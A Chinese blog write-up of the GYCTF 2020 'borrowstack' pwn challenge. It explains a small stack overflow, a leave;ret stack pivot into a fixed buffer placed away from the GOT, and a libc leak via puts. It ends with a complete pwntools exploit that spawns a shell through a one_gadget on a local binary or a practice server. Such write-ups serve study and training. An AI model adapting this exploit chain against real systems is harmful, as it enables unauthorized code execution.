GYCTF 2020-borrowstack

borrowstack的题目分析

2020-03-12 10:46:10 by hawkJW


题目附件、ida文件及wp链接


   这道题的漏洞很明显,思路也比较明显,但就是有坑!!!学习一下


1. 程序流程总览

首先,按照惯例,我们看一下程序开启的保护措施,如图所示

除了栈上不可以执行以外,其余的保护措施基本没有开启,因此该程序的保护措施还是比较松的。

下面我们来粗略的浏览一下程序的源代码来分析程序流程

这个流程相当之简单——也就是先输入到栈上,再输入到一个固定地址处。总体流程就这么简单。很明显,栈上有溢出漏洞,我们的突破口就在这里


 2. 漏洞分析

  实际上,正如上面所提到过的,很明显,这里的一个漏洞就是栈上的输入漏洞——其可以修改rbp的值,并且修改返回地址的值。但问题也在于其可溢出的地址实在是太小了,如果再大一些的话就方便多了。

  实际上,我们发现后面还有一次输入,而且其输入的地址是一个可知的固定地址,那么自然的,我们会想到,能不能把栈转移到那个对应的固定地址上,这样子实际上就相当于扩大了可溢出地址的范围,问题也就迎刃而解了。

  那么我们如何将栈转移到该固定地址(也就是让rsp指向该固定地址),实际上,这里需要了解一下leave的作用

也就是 retn 上面那一条指令。

这里我大概说一下这条指令的作用

mov rsp, rbp
pop rbp

我们看到,也就是将rsp的值修改成了rbp的值,而之前我们提到过的,我们溢出的时候可以修改rbp的值,那么这样我们实际上也就可以修改rsp的值,从而指定rsp的值的指向


 3. 漏洞利用

   正如上面所分析的,实际上,我们我们利用一次 leave; retn ,即可巧妙的修改栈空间的位置。

  首先,我们输入如下字符串达到栈溢出的目的

  

 r.send('a' * 0x60 + p64(stack_address - 0x8) + p64(0x0000000000400699)) 

  也就是我们将rbp的值修改为 stack_address - 0x8 ,返回地址设置为 0x0000000000400699 ,我们看看0x400699位置处的代码是什么,如图所示

  

  我们令stack_address的所指向的地址仍然为

leave   
retn

  那么根据我们刚才分析的,leave将会首先将rbp中的值赋给rsp,也就是rsp的值变为 stack_address - 0x8 ;

  然后在pop rbp;这里不需要再看rbp如何变化了,主要的影响在于将rsp的值加上0x8,也就是rsp的值成为了stack_address,完成了栈的转移。

 

  那么如果我们讲stack_address的值设置为bank地址——也就是第二次输入的那个固定地址的话,并且在第二次输入提前准备好的shellcode的话,那么按照前面所说的,栈地址将转移到bank地址处,从而实现正常的栈溢出利用。

  后面的思路也就很简单了——输出lib的基址,然后利用one_gadget获取shell。这道很简单,这是虽然这样分析,但却有一个大坑。。。

  就是我们需要输出lib,也就是会在栈上调用puts函数,但是由于那个固定地址(bank)和got表的位置相当的近(如图所示),我们调用时很可能会直接覆盖掉got表项,从而在我们的shellcode中无法再利用got表调用函数,因此,解决的方法

  是相对的抬高一下栈地址——因为我们可以制定任意的stack_address,我们可以讲stack_address设置为bank地址加上一个偏移,偏移用来防止got表被覆盖掉。

 

  最后放出最后的wp

#coding:utf-8

from pwn import *

context.log_level = 'debug'
debug = 1

def exp(debug):
    elf = ELF('./borrowstack')
    lib = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    if debug == 1:
        r = process('./borrowstack')
        #gdb.attach(r, 'b *0x00000040069A')
        #r = gdb.debug('./borrowstack', 'b *0x000000000040068F')
    else:
        r = remote('node3.buuoj.cn', 26597)
        
    
    r.recvuntil('\n')

    one_gadget = 0x4526a
    r.send('a' * 0x60 + p64(0x0000000000601080 + 0x8 * 9 - 0x8) + p64(0x0000000000400699))

    r.send(p64(0) * 9 + p64(0x0000000000400703) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x0000004006FA) + p64(0) + p64(1) + p64(0x000000000601028) + p64(0x200) + p64(0x601080 + 0xa0 - 0x8) + p64(0) + p64(0x000004006E0))
    r.recvuntil('\n')
    libc = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00')) - lib.sym['puts']
    log.info('lib \'s address => %#x'%libc)
    r.send(p64(libc + one_gadget) + p64(0) * 10)
    r.interactive()

exp(debug)

总结

  这道题漏洞明显,思路清晰——但就是需要注意一下坑——不要因为修改了栈空间,从而导致got表被覆盖掉!!将栈空间稍微抬高一些!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值